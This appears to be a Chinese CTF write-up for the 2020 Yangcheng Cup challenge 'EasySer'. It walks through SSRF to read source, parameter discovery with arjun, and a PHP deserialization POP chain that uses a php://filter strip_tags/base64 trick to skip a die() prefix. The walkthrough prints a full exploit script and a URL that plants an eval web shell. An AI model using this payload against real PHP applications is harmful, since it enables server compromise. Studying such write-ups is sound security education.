[羊城杯 2020]EasySer

知识点

  1. SSRF读取文件

  2. php://filter以及死亡绕过

  3. PHP反序列化

  4. http参数扫描器 arjun

工具arjun

kali上安装

pip3 install arjun

使用:

arjun -u URL

详细使用方法:

https://github.com/s0md3v/Arjun/wiki/Usage

解题

拿到题目先用御剑扫一下,扫到 robots.txt

访问 robots.txt:

访问 star1.php:

右键查看源码:

这里不安全的协议指的是 http,要利用 SSRF 才能访问到 ser.php

尝试读取 ser.php :

http://127.0.0.1/ser.php

得到 ser.php 源码:

 <?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;

    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
} 
?>

简单审计一下,很明显这是要利用反序列化,可是没有反序列化入口,即没有unserialize(),这样构造的pop链就不能发挥作用。

网上搜了一下,说是可以用 arjun 来扫描 http参数。 star1.php 页面除了 path 参数,还有一个 c 参数,c 就是反序列化的入口。放一下截图:

我还是有的疑惑,就去搜了一下 ser1.php 的源码,下面只给出关键部分:

<?php
    //过滤 $path,必须包含 'http://127.0.0.1' 并且不包含 'flag',否则就会 die()
    $url=$_GET['path'];
    $filter1= '/^http:\/\/127\.0\.0\.1\//i';
    $filter2 = '/.?f.?l.?a.?g.?/i';
    if(!preg_match($filter1, $url)){
        die($str);
    }
    if (preg_match($filter2, $url)) {
        die("??");
    }

    //关于参数 c 的部分
    $c=$_GET['c']; 
    if(isset($c)){
        echo $x = unserialize($c);  //echo 的时候会触发 __toString() 魔术方法
    }
    else{
        echo "your hat is too black!";
    }
?>

好了,现在可以专心构造利用链了:

  • 通过 类GWHT 的 __toString() 来调用 类Yongen 的 hasaki() 方法,利用 file_put_contents() 来写文件。其中写文件时需要绕过<?php die("nononon");?>,我采用 先去除标签再base64解码的方法。
<?php

class GWHT{
    public $hero;
}

class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;
    }
}

$file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
$text = "PD9waHAgZXZhbCgkX1BPU1RbJ2ZsYWcnXSk7Pz4="; /*<?php eval($_POST['flag']);?> 的base64编码*/

$a = new GWHT();
$a->hero = new Yongen($file,$text);
echo serialize($a);
?>

根据得到的序列化字符串构造 URL

?path=http://127.0.0.1/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ2ZsYWcnXSk7Pz4=";}}

用蚁剑连接,flag 在根目录下


文章作者: MissPower007
文章链接: http://time.pings.fun
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 MissPower007 !
评论
  目录